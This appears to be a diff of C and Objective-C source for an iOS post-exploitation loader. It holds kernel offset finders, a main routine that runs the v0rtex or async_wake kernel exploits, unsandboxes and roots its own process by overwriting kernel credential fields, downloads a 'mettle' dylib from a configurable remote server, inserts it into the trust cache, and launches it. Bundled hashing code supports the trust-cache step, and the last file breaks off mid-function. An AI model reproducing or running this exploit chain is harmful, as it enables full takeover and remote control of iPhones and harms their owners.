val += (*insn<<9 & 0x1ffffc000) | (*insn>>17 & 0x3000);
// ldr x, [xX, #_zone_map@PAGEOFF]
++insn;
if ((*insn & 0xF9C00000) != 0xF9400000) {
return 0;
}
// xd == xX, xn == xX,
if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm) {
return 0;
}
val += ((*insn >> 10) & 0xFFF) << 3;
return val;
}
addr_t Find_OSBoolean_True() {
addr_t val;
addr_t ref = Find_strref("Delay Autounload", 0, 0);
if (!ref) {
return 0;
}
ref -= KernDumpBase;
addr_t weird_instruction = 0;
for (int i = 4; i < 4*0x100; i+=4) {
uint32_t op = *(uint32_t *)(Kernel + ref + i);
if (op == 0x320003E0) {
weird_instruction = ref+i;
break;
}
}
if (!weird_instruction) {
return 0;
}
val = Calc64(Kernel, ref, weird_instruction, 8);
if (!val) {
return 0;
}
return KernelRead_64bits(val + KernDumpBase);
}
addr_t Find_OSBoolean_False() {
return Find_OSBoolean_True()+8;
}
addr_t Find_osunserializexml() {
addr_t ref = Find_strref("OSUnserializeXML: %s near line %d\n", 1, 0);
ref -= KernDumpBase;
uint64_t start = BOF64(Kernel, XNUCore_Base, ref);
return start + KernDumpBase;
}
addr_t Find_smalloc() {
addr_t ref = Find_strref("sandbox memory allocation failure", 1, 1);
ref -= KernDumpBase;
uint64_t start = BOF64(Kernel, Prelink_Base, ref);
return start + KernDumpBase;
}
addr_t Find_sbops() {
addr_t off, what;
uint8_t *str = Boyermoore_horspool_memmem(Kernel + PString_base, PString_size, (uint8_t *)"Seatbelt sandbox policy", sizeof("Seatbelt sandbox policy") - 1);
if (!str) {
return 0;
}
what = str - Kernel + KernDumpBase;
for (off = 0; off < Kernel_size - Prelink_Base; off += 8) {
if (*(uint64_t *)(Kernel + Prelink_Base + off) == what) {
return *(uint64_t *)(Kernel + Prelink_Base + off + 24);
}
}
return 0;
}
uint64_t Find_bootargs(void) {
/*
ADRP X8, #_PE_state@PAGE
ADD X8, X8, #_PE_state@PAGEOFF
LDR X8, [X8,#(PE_state__boot_args - 0xFFFFFFF0078BF098)]
ADD X8, X8, #0x6C
STR X8, [SP,#0x550+var_550]
ADRP X0, #aBsdInitCannotF@PAGE ; "\"bsd_init: cannot find root vnode: %s"...
ADD X0, X0, #aBsdInitCannotF@PAGEOFF ; "\"bsd_init: cannot find root vnode: %s"...
BL _panic
*/
addr_t ref = Find_strref("\"bsd_init: cannot find root vnode: %s\"", 1, 0);
if (ref == 0) {
return 0;
}
ref -= KernDumpBase;
// skip add & adrp for panic str
ref -= 8;
uint32_t *insn = (uint32_t*)(Kernel+ref);
// skip str
--insn;
// add xX, xX, #cmdline_offset
uint8_t xm = *insn&0x1f;
if (((*insn>>5)&0x1f) != xm || ((*insn>>22)&3) != 0) {
return 0;
}
//cmdline_offset = (*insn>>10) & 0xfff;
uint64_t val = KernDumpBase;
--insn;
// ldr xX, [xX, #(PE_state__boot_args - PE_state)]
if ((*insn & 0xF9C00000) != 0xF9400000) {
return 0;
}
// xd == xX, xn == xX,
if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm) {
return 0;
}
val += ((*insn >> 10) & 0xFFF) << 3;
--insn;
// add xX, xX, #_PE_state@PAGEOFF
if ((*insn&0x1f) != xm || ((*insn>>5)&0x1f) != xm || ((*insn>>22)&3) != 0) {
return 0;
}
val += (*insn>>10) & 0xfff;
--insn;
if ((*insn & 0x1f) != xm) {
return 0;
}
// pc
val += ((uint8_t*)(insn) - Kernel) & ~0xfff;
// don't ask, I wrote this at 5am
val += (*insn<<9 & 0x1ffffc000) | (*insn>>17 & 0x3000);
return val;
}
+187
View File
@@ -0,0 +1,187 @@
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <mach/mach.h>
#import <Foundation/Foundation.h>
#import <dlfcn.h>
#include <mach-o/dyld.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "magic.h"
#include "liboffsetfinder64/getoffsets.h"
#include "v0rtex.h"
#include "async_wake.h"
#include "kernel_utils.h"
#include "patchfinder64.h"
#include "trustcache.h"
#include "sandbox.h"
#include "kutils.h"
#include "kexecute.h"
#include "vnode_utils.h"
// Note: NSLog crashes for me on iOS 10
//#define DEBUG 1
#ifdef DEBUG
#define SLOG(msg, ...) \
do { \
if (getuid() == 0) { \
FILE* logfile = fopen("/var/mobile/log.txt", "a");\
fprintf(logfile,msg, __VA_ARGS__); \
fclose(logfile); \
} \
} while (0)
//#define LOG(msg) \
//NSLog(@msg); \
//fprintf(stderr, msg); \
//fflush(stderr);
#else
#define SLOG(msg, ...) {}
#endif
int download_payload(char* file_path, const char* config_placeholder)
{
unlink(file_path);
SLOG("%s", "Downloading payload\n");
const char* payload_url = "payload10";
if (kCFCoreFoundationVersionNumber >= 1443.00) {
payload_url = "payload11";
}
// Load the payload from server
int sockfd = 0;
struct sockaddr_in serv_addr;
char getpayload[100];
snprintf(getpayload, sizeof(getpayload), "GET /%s HTTP/1.1\r\n\r\n", payload_url);
const int chunk_size = 4096;
char* payload_buffer = malloc(chunk_size);
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
SLOG("%s", "Could not connect socket");
return -1;
}
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = *(uint32_t*)config_placeholder;
serv_addr.sin_port = *(uint16_t*)(config_placeholder + 4);
SLOG("%s", "Connecting...\n");
if (connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
SLOG("%s", "Could not connect\n");
return -1;
}
send(sockfd, getpayload, strlen(getpayload), 0);
int payloadfd = open(file_path, O_WRONLY | O_CREAT, 0700);
int read_header = 0;
int n;
while ((n = read(sockfd, payload_buffer, chunk_size)) > 0) {
if (!read_header) {
char * payload_start = (char*)memmem((unsigned char*)payload_buffer, chunk_size, (unsigned char*)"\xcf\xfa\xed\xfe", 4);
write(payloadfd, payload_start, n - (payload_start - payload_buffer));
read_header = 1;
} else {
write(payloadfd, payload_buffer, n);
}
}
close(payloadfd);
close(sockfd);
free(payload_buffer);
return 0;
}
void fail(uint64_t x) {
*(volatile int*)(0xbad000000000ull + x) = 0xdead;
}
#define ASSERT(x) if (!(x))fail(0xa00000000ull + __LINE__)
int main() {
SLOG("%s", "Starting...\n");
mach_port_t tfp0 = MACH_PORT_NULL;
uint64_t kbase = 0;
kern_return_t ret = KERN_FAILURE;
if (kCFCoreFoundationVersionNumber >= 1443.00) {
ret = async_wake(&tfp0);
if (ret == KERN_SUCCESS && MACH_PORT_VALID(tfp0)) {
kbase = find_kernel_base();
SLOG("kbase %p", (void*)kbase);
}
} else {
offsets_t *off = get_offsets();
SLOG("%s", "Got offsets\n");
ret = v0rtex(off, &tfp0, &kbase);
}
if (ret != KERN_SUCCESS || !MACH_PORT_VALID(tfp0))
{
SLOG("%s", "exploit failed\n");
return -1;
} else {
SLOG("%s", "tfp0!\n");
}
SLOG("%s", "init!\n");
init_kernel_utils(tfp0, kbase);
InitPatchfinder(kbase, 0);
if (kCFCoreFoundationVersionNumber >= 1443.00) {
pid_t pid = getpid();
uint64_t sbcreds = unsandbox(pid);
rootify(pid);
SLOG("uid %d", getuid());
SLOG("creds %p", (void*)sbcreds);
}
const char config_placeholder[1024] = "PAYLOAD_URL";
char * file_path = "/var/mobile/mettle.dylib";
download_payload(file_path, config_placeholder);
SLOG("%s", "did init!\n");
int trustret = trust_bin(file_path);
SLOG("trust %d\n", trustret);
if (kCFCoreFoundationVersionNumber >= 1443.00) {
//fix for: kernel(Sandbox)[0] <Notice>: Sandbox: com.apple.WebKit(238) System Policy: deny(1) file-map-executable /private/var/mobile/mettle.dylib
init_Kernel_Execute();
fix_vnode_for_mmap(file_path);
}
void* mettle = dlopen(file_path, RTLD_NOW);
if (mettle) {
SLOG("%s", "got mettle!\n");
// Launch the payload
typedef int (*main_ptr)(int argc, const char *argv[]);
main_ptr main_func = dlsym(mettle, "main");
if (main_func) {
SLOG("%s", "got main_func!\n");
const char * progname = "mettle";
const char * arg1 = "-u";
const char * arg2 = config_placeholder+6;
const char *argv[] = { progname, arg1, arg2, NULL };
int mainret = main_func(3, argv);
SLOG("%s", "did run main_func!\n");
}
}
SLOG("%s", "exit!\n");
exit(0);
return 0;
}
uint64_t entry[] = { MAGIC, (uint64_t)&main };
+6
View File
@@ -0,0 +1,6 @@
#include <stdint.h>
uint64_t unsandbox(pid_t pid);
int sandbox(pid_t pid, uint64_t sb);
int rootify(pid_t pid);
+57
View File
@@ -0,0 +1,57 @@
#include "kernel_utils.h"
#include "offsetof.h"
#import <Foundation/Foundation.h>
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(0)
uint64_t unsandbox(pid_t pid) {
if (!pid) return -1;
LOG("[*] Unsandboxing pid %d\n", pid);
uint64_t proc = proc_of_pid(pid); // pid's proccess structure on the kernel
uint64_t ucred = KernelRead_64bits(proc + off_p_ucred); // pid credentials
uint64_t cr_label = KernelRead_64bits(ucred + off_ucred_cr_label); // MAC label
uint64_t orig_sb = KernelRead_64bits(cr_label + off_sandbox_slot);
KernelWrite_64bits(cr_label + off_sandbox_slot /* First slot is AMFI's. so, this is second? */, 0); //get rid of sandbox by nullifying it
return (KernelRead_64bits(KernelRead_64bits(ucred + off_ucred_cr_label) + off_sandbox_slot) == 0) ? orig_sb : -1;
}
int sandbox(pid_t pid, uint64_t sb) {
if (!pid) return -1;
LOG("[*] Sandboxing pid %d with slot at 0x%llx\n", pid, sb);
uint64_t proc = proc_of_pid(pid); // pid's proccess structure on the kernel
uint64_t ucred = KernelRead_64bits(proc + off_p_ucred); // pid credentials
uint64_t cr_label = KernelRead_64bits(ucred + off_ucred_cr_label /* MAC label */);
KernelWrite_64bits(cr_label + off_sandbox_slot /* First slot is AMFI's. so, this is second? */, sb);
return (KernelRead_64bits(KernelRead_64bits(ucred + off_ucred_cr_label) + off_sandbox_slot) == sb) ? 0 : -1;
}
int rootify(pid_t pid) {
if (!pid) return -1;
uint64_t proc = proc_of_pid(pid);
uint64_t ucred = KernelRead_64bits(proc + off_p_ucred);
//make everything 0 without setuid(0), pretty straightforward.
KernelWrite_32bits(proc + off_p_uid, 0);
KernelWrite_32bits(proc + off_p_ruid, 0);
KernelWrite_32bits(proc + off_p_gid, 0);
KernelWrite_32bits(proc + off_p_rgid, 0);
KernelWrite_32bits(ucred + off_ucred_cr_uid, 0);
KernelWrite_32bits(ucred + off_ucred_cr_ruid, 0);
KernelWrite_32bits(ucred + off_ucred_cr_svuid, 0);
KernelWrite_32bits(ucred + off_ucred_cr_ngroups, 1);
KernelWrite_32bits(ucred + off_ucred_cr_groups, 0);
KernelWrite_32bits(ucred + off_ucred_cr_rgid, 0);
KernelWrite_32bits(ucred + off_ucred_cr_svgid, 0);
return (KernelRead_32bits(proc + off_p_uid) == 0) ? 0 : -1;
}
+276
View File
@@ -0,0 +1,276 @@
/* from valgrind tests */
/* ================ sha1.c ================ */
/*
SHA-1 in C
By Steve Reid <steve@edmweb.com>
100% Public Domain
Test Vectors (from FIPS PUB 180-1)
"abc"
A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D
"abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"
84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1
A million repetitions of "a"
34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F
*/
/* #define LITTLE_ENDIAN * This should be #define'd already, if true. */
/* #define SHA1HANDSOFF * Copies data before messing with it. */
#define SHA1HANDSOFF
#include <stdio.h>
#include <string.h>
#include <sys/types.h> /* for u_int*_t */
#if defined(__sun)
#include "solarisfixes.h"
#endif
#include "sha1.h"
#ifndef BYTE_ORDER
#if (BSD >= 199103)
# include <machine/endian.h>
#else
#if defined(linux) || defined(__linux__)
# include <endian.h>
#else
#define LITTLE_ENDIAN 1234 /* least-significant byte first (vax, pc) */
#define BIG_ENDIAN 4321 /* most-significant byte first (IBM, net) */
#define PDP_ENDIAN 3412 /* LSB first in word, MSW first in long (pdp)*/
#if defined(vax) || defined(ns32000) || defined(sun386) || defined(__i386__) || \
defined(MIPSEL) || defined(_MIPSEL) || defined(BIT_ZERO_ON_RIGHT) || \
defined(__alpha__) || defined(__alpha)
#define BYTE_ORDER LITTLE_ENDIAN
#endif
#if defined(sel) || defined(pyr) || defined(mc68000) || defined(sparc) || \
defined(is68k) || defined(tahoe) || defined(ibm032) || defined(ibm370) || \
defined(MIPSEB) || defined(_MIPSEB) || defined(_IBMR2) || defined(DGUX) ||\
defined(apollo) || defined(__convex__) || defined(_CRAY) || \
defined(__hppa) || defined(__hp9000) || \
defined(__hp9000s300) || defined(__hp9000s700) || \
defined (BIT_ZERO_ON_LEFT) || defined(m68k) || defined(__sparc)
#define BYTE_ORDER BIG_ENDIAN
#endif
#endif /* linux */
#endif /* BSD */
#endif /* BYTE_ORDER */
#if defined(__BYTE_ORDER) && !defined(BYTE_ORDER)
#if (__BYTE_ORDER == __LITTLE_ENDIAN)
#define BYTE_ORDER LITTLE_ENDIAN
#else
#define BYTE_ORDER BIG_ENDIAN
#endif
#endif
#if !defined(BYTE_ORDER) || \
(BYTE_ORDER != BIG_ENDIAN && BYTE_ORDER != LITTLE_ENDIAN && \
BYTE_ORDER != PDP_ENDIAN)
/* you must determine what the correct bit order is for
* your compiler - the next line is an intentional error
* which will force your compiles to bomb until you fix
* the above macros.
*/
#error "Undefined or invalid BYTE_ORDER"
#endif
#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits))))
/* blk0() and blk() perform the initial expand. */
/* I got the idea of expanding during the round function from SSLeay */
#if BYTE_ORDER == LITTLE_ENDIAN
#define blk0(i) (block->l[i] = (rol(block->l[i],24)&0xFF00FF00) \
|(rol(block->l[i],8)&0x00FF00FF))
#elif BYTE_ORDER == BIG_ENDIAN
#define blk0(i) block->l[i]
#else
#error "Endianness not defined!"
#endif
#define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \
^block->l[(i+2)&15]^block->l[i&15],1))
/* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */
#define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(i)+0x5A827999+rol(v,5);w=rol(w,30);
#define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30);
#define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5);w=rol(w,30);
#define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30);
#define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5);w=rol(w,30);
/* Hash a single 512-bit block. This is the core of the algorithm. */
void SHA1Transform(u_int32_t state[5], const unsigned char buffer[64])
{
u_int32_t a, b, c, d, e;
typedef union {
unsigned char c[64];
u_int32_t l[16];
} CHAR64LONG16;
#ifdef SHA1HANDSOFF
CHAR64LONG16 block[1]; /* use array to appear as a pointer */
memcpy(block, buffer, 64);
#else
/* The following had better never be used because it causes the
* pointer-to-const buffer to be cast into a pointer to non-const.
* And the result is written through. I threw a "const" in, hoping
* this will cause a diagnostic.
*/
CHAR64LONG16* block = (const CHAR64LONG16*)buffer;
#endif
/* Copy context->state[] to working vars */
a = state[0];
b = state[1];
c = state[2];
d = state[3];
e = state[4];
/* 4 rounds of 20 operations each. Loop unrolled. */
R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3);
R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7);
R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11);
R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15);
R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19);
R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23);
R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27);
R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31);
R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35);
R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39);
R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43);
R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47);
R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51);
R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55);
R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59);
R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63);
R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67);
R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71);
R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75);
R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79);
/* Add the working vars back into context.state[] */
state[0] += a;
state[1] += b;
state[2] += c;
state[3] += d;
state[4] += e;
/* Wipe variables */
a = b = c = d = e = 0;
#ifdef SHA1HANDSOFF
memset(block, '\0', sizeof(block));
#endif
}
/* SHA1Init - Initialize new context */
void SHA1Init(SHA1_CTX* context)
{
/* SHA1 initialization constants */
context->state[0] = 0x67452301;
context->state[1] = 0xEFCDAB89;
context->state[2] = 0x98BADCFE;
context->state[3] = 0x10325476;
context->state[4] = 0xC3D2E1F0;
context->count[0] = context->count[1] = 0;
}
/* Run your data through this. */
void SHA1Update(SHA1_CTX* context, const unsigned char* data, u_int32_t len)
{
u_int32_t i;
u_int32_t j;
j = context->count[0];
if ((context->count[0] += len << 3) < j)
context->count[1]++;
context->count[1] += (len>>29);
j = (j >> 3) & 63;
if ((j + len) > 63) {
memcpy(&context->buffer[j], data, (i = 64-j));
SHA1Transform(context->state, context->buffer);
for ( ; i + 63 < len; i += 64) {
SHA1Transform(context->state, &data[i]);
}
j = 0;
}
else i = 0;
memcpy(&context->buffer[j], &data[i], len - i);
}
/* Add padding and return the message digest. */
void SHA1Final(unsigned char digest[20], SHA1_CTX* context)
{
unsigned i;
unsigned char finalcount[8];
unsigned char c;
#if 0 /* untested "improvement" by DHR */
/* Convert context->count to a sequence of bytes
* in finalcount. Second element first, but
* big-endian order within element.
* But we do it all backwards.
*/
unsigned char *fcp = &finalcount[8];
for (i = 0; i < 2; i++)
{
u_int32_t t = context->count[i];
int j;
for (j = 0; j < 4; t >>= 8, j++)
*--fcp = (unsigned char) t
}
#else
for (i = 0; i < 8; i++) {
finalcount[i] = (unsigned char)((context->count[(i >= 4 ? 0 : 1)]
>> ((3-(i & 3)) * 8) ) & 255); /* Endian independent */
}
#endif
c = 0200;
SHA1Update(context, &c, 1);
while ((context->count[0] & 504) != 448) {
c = 0000;
SHA1Update(context, &c, 1);
}
SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() */
for (i = 0; i < 20; i++) {
digest[i] = (unsigned char)
((context->state[i>>2] >> ((3-(i & 3)) * 8) ) & 255);
}
/* Wipe variables */
memset(context, '\0', sizeof(*context));
memset(&finalcount, '\0', sizeof(finalcount));
}
/* ================ end of sha1.c ================ */
#if 0
#define BUFSIZE 4096
int
main(int argc, char **argv)
{
SHA1_CTX ctx;
unsigned char hash[20], buf[BUFSIZE];
int i;
for(i=0;i<BUFSIZE;i++)
buf[i] = i;
SHA1Init(&ctx);
for(i=0;i<1000;i++)
SHA1Update(&ctx, buf, BUFSIZE);
SHA1Final(hash, &ctx);
printf("SHA1=");
for(i=0;i<20;i++)
printf("%02x", hash[i]);
printf("\n");
return 0;
}
#endif
+17
View File
@@ -0,0 +1,17 @@
/* ================ sha1.h ================ */
/*
SHA-1 in C
By Steve Reid <steve@edmweb.com>
100% Public Domain
*/
typedef struct {
u_int32_t state[5];
u_int32_t count[2];
unsigned char buffer[64];
} SHA1_CTX;
void SHA1Transform(u_int32_t state[5], const unsigned char buffer[64]);
void SHA1Init(SHA1_CTX* context);
void SHA1Update(SHA1_CTX* context, const unsigned char* data, u_int32_t len);
void SHA1Final(unsigned char digest[20], SHA1_CTX* context);
+158
View File
@@ -0,0 +1,158 @@
/*********************************************************************
* Filename: sha256.c
* Author: Brad Conte (brad AT bradconte.com)
* Copyright:
* Disclaimer: This code is presented "as is" without any guarantees.
* Details: Implementation of the SHA-256 hashing algorithm.
SHA-256 is one of the three algorithms in the SHA2
specification. The others, SHA-384 and SHA-512, are not
offered in this implementation.
Algorithm specification can be found here:
* http://csrc.nist.gov/publications/fips/fips180-2/fips180-2withchangenotice.pdf
This implementation uses little endian byte order.
*********************************************************************/
/*************************** HEADER FILES ***************************/
#include <stdlib.h>
#include <memory.h>
#include "sha256.h"
/****************************** MACROS ******************************/
#define ROTLEFT(a,b) (((a) << (b)) | ((a) >> (32-(b))))
#define ROTRIGHT(a,b) (((a) >> (b)) | ((a) << (32-(b))))
#define CH(x,y,z) (((x) & (y)) ^ (~(x) & (z)))
#define MAJ(x,y,z) (((x) & (y)) ^ ((x) & (z)) ^ ((y) & (z)))
#define EP0(x) (ROTRIGHT(x,2) ^ ROTRIGHT(x,13) ^ ROTRIGHT(x,22))
#define EP1(x) (ROTRIGHT(x,6) ^ ROTRIGHT(x,11) ^ ROTRIGHT(x,25))
#define SIG0(x) (ROTRIGHT(x,7) ^ ROTRIGHT(x,18) ^ ((x) >> 3))
#define SIG1(x) (ROTRIGHT(x,17) ^ ROTRIGHT(x,19) ^ ((x) >> 10))
/**************************** VARIABLES *****************************/
static const WORD k[64] = {
0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,
0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,
0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,
0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,
0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,
0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,
0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,
0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2
};
/*********************** FUNCTION DEFINITIONS ***********************/
void sha256_transform(SHA256_CTX *ctx, const BYTE data[])
{
WORD a, b, c, d, e, f, g, h, i, j, t1, t2, m[64];
for (i = 0, j = 0; i < 16; ++i, j += 4)
m[i] = (data[j] << 24) | (data[j + 1] << 16) | (data[j + 2] << 8) | (data[j + 3]);
for ( ; i < 64; ++i)
m[i] = SIG1(m[i - 2]) + m[i - 7] + SIG0(m[i - 15]) + m[i - 16];
a = ctx->state[0];
b = ctx->state[1];
c = ctx->state[2];
d = ctx->state[3];
e = ctx->state[4];
f = ctx->state[5];
g = ctx->state[6];
h = ctx->state[7];
for (i = 0; i < 64; ++i) {
t1 = h + EP1(e) + CH(e,f,g) + k[i] + m[i];
t2 = EP0(a) + MAJ(a,b,c);
h = g;
g = f;
f = e;
e = d + t1;
d = c;
c = b;
b = a;
a = t1 + t2;
}
ctx->state[0] += a;
ctx->state[1] += b;
ctx->state[2] += c;
ctx->state[3] += d;
ctx->state[4] += e;
ctx->state[5] += f;
ctx->state[6] += g;
ctx->state[7] += h;
}
void sha256_init(SHA256_CTX *ctx)
{
ctx->datalen = 0;
ctx->bitlen = 0;
ctx->state[0] = 0x6a09e667;
ctx->state[1] = 0xbb67ae85;
ctx->state[2] = 0x3c6ef372;
ctx->state[3] = 0xa54ff53a;
ctx->state[4] = 0x510e527f;
ctx->state[5] = 0x9b05688c;
ctx->state[6] = 0x1f83d9ab;
ctx->state[7] = 0x5be0cd19;
}
void sha256_update(SHA256_CTX *ctx, const BYTE data[], size_t len)
{
WORD i;
for (i = 0; i < len; ++i) {
ctx->data[ctx->datalen] = data[i];
ctx->datalen++;
if (ctx->datalen == 64) {
sha256_transform(ctx, ctx->data);
ctx->bitlen += 512;
ctx->datalen = 0;
}
}
}
void sha256_final(SHA256_CTX *ctx, BYTE hash[])
{
WORD i;
i = ctx->datalen;
// Pad whatever data is left in the buffer.
if (ctx->datalen < 56) {
ctx->data[i++] = 0x80;
while (i < 56)
ctx->data[i++] = 0x00;
}
else {
ctx->data[i++] = 0x80;
while (i < 64)
ctx->data[i++] = 0x00;
sha256_transform(ctx, ctx->data);
memset(ctx->data, 0, 56);
}
// Append to the padding the total message's length in bits and transform.
ctx->bitlen += ctx->datalen * 8;
ctx->data[63] = ctx->bitlen;
ctx->data[62] = ctx->bitlen >> 8;
ctx->data[61] = ctx->bitlen >> 16;
ctx->data[60] = ctx->bitlen >> 24;
ctx->data[59] = ctx->bitlen >> 32;
ctx->data[58] = ctx->bitlen >> 40;
ctx->data[57] = ctx->bitlen >> 48;
ctx->data[56] = ctx->bitlen >> 56;
sha256_transform(ctx, ctx->data);
// Since this implementation uses little endian byte ordering and SHA uses big endian,
// reverse all the bytes when copying the final state to the output hash.
for (i = 0; i < 4; ++i) {
hash[i] = (ctx->state[0] >> (24 - i * 8)) & 0x000000ff;
hash[i + 4] = (ctx->state[1] >> (24 - i * 8)) & 0x000000ff;
hash[i + 8] = (ctx->state[2] >> (24 - i * 8)) & 0x000000ff;
hash[i + 12] = (ctx->state[3] >> (24 - i * 8)) & 0x000000ff;
hash[i + 16] = (ctx->state[4] >> (24 - i * 8)) & 0x000000ff;
hash[i + 20] = (ctx->state[5] >> (24 - i * 8)) & 0x000000ff;
hash[i + 24] = (ctx->state[6] >> (24 - i * 8)) & 0x000000ff;
hash[i + 28] = (ctx->state[7] >> (24 - i * 8)) & 0x000000ff;
}
}
+34
View File
@@ -0,0 +1,34 @@
/*********************************************************************
* Filename: sha256.h
* Author: Brad Conte (brad AT bradconte.com)
* Copyright:
* Disclaimer: This code is presented "as is" without any guarantees.
* Details: Defines the API for the corresponding SHA1 implementation.
*********************************************************************/
#ifndef SHA256_H
#define SHA256_H
/*************************** HEADER FILES ***************************/
#include <stddef.h>
/****************************** MACROS ******************************/
#define SHA256_BLOCK_SIZE 32 // SHA256 outputs a 32 byte digest
/**************************** DATA TYPES ****************************/
typedef unsigned char BYTE; // 8-bit byte
typedef unsigned int WORD; // 32-bit word, change to "long" for 16-bit machines
typedef struct {
BYTE data[64];
WORD datalen;
unsigned long long bitlen;
WORD state[8];
} SHA256_CTX;
/*********************** FUNCTION DECLARATIONS **********************/
void sha256_init(SHA256_CTX *ctx);
void sha256_update(SHA256_CTX *ctx, const BYTE data[], size_t len);
void sha256_final(SHA256_CTX *ctx, BYTE hash[]);
#endif // SHA256_H
+3
View File
@@ -0,0 +1,3 @@
int trust_bin(const char* filepath);
+197
View File
@@ -0,0 +1,197 @@
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <mach-o/fat.h>
#include "patchfinder64.h"
#include "kernel_utils.h"
#include "sha1.h"
#include "sha256.h"
#import <Foundation/Foundation.h>
//#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(0)
#define LOG(str, args...)
struct trust_mem {
uint64_t next; //struct trust_mem *next;
unsigned char uuid[16];
unsigned int count;
//unsigned char data[];
} __attribute__((packed));
uint32_t swap_uint32( uint32_t val ) {
val = ((val << 8) & 0xFF00FF00 ) | ((val >> 8) & 0xFF00FF );
return (val << 16) | (val >> 16);
}
uint32_t read_magic(FILE* file, off_t offset) {
uint32_t magic;
fseek(file, offset, SEEK_SET);
fread(&magic, sizeof(uint32_t), 1, file);
return magic;
}
void *load_bytes(FILE *file, off_t offset, size_t size) {
void *buf = calloc(1, size);
fseek(file, offset, SEEK_SET);
fread(buf, size, 1, file);
return buf;
}
uint8_t *get_code_directory(const char* name) {
FILE* fd = fopen(name, "r");
uint32_t magic;
fread(&magic, sizeof(magic), 1, fd);
fseek(fd, 0, SEEK_SET);
long off, file_off = 0;
int ncmds;
int foundarm64 = 0;
if (magic == MH_MAGIC_64) { // 0xFEEDFACF
struct mach_header_64 mh64;
fread(&mh64, sizeof(mh64), 1, fd);
off = sizeof(mh64);
ncmds = mh64.ncmds;
}
else if (magic == MH_MAGIC) {
printf("[-] %s is 32bit. What are you doing here?\n", name);
fclose(fd);
return NULL;
}
else if (magic == 0xBEBAFECA) { //FAT binary magic
size_t header_size = sizeof(struct fat_header);
size_t arch_size = sizeof(struct fat_arch);
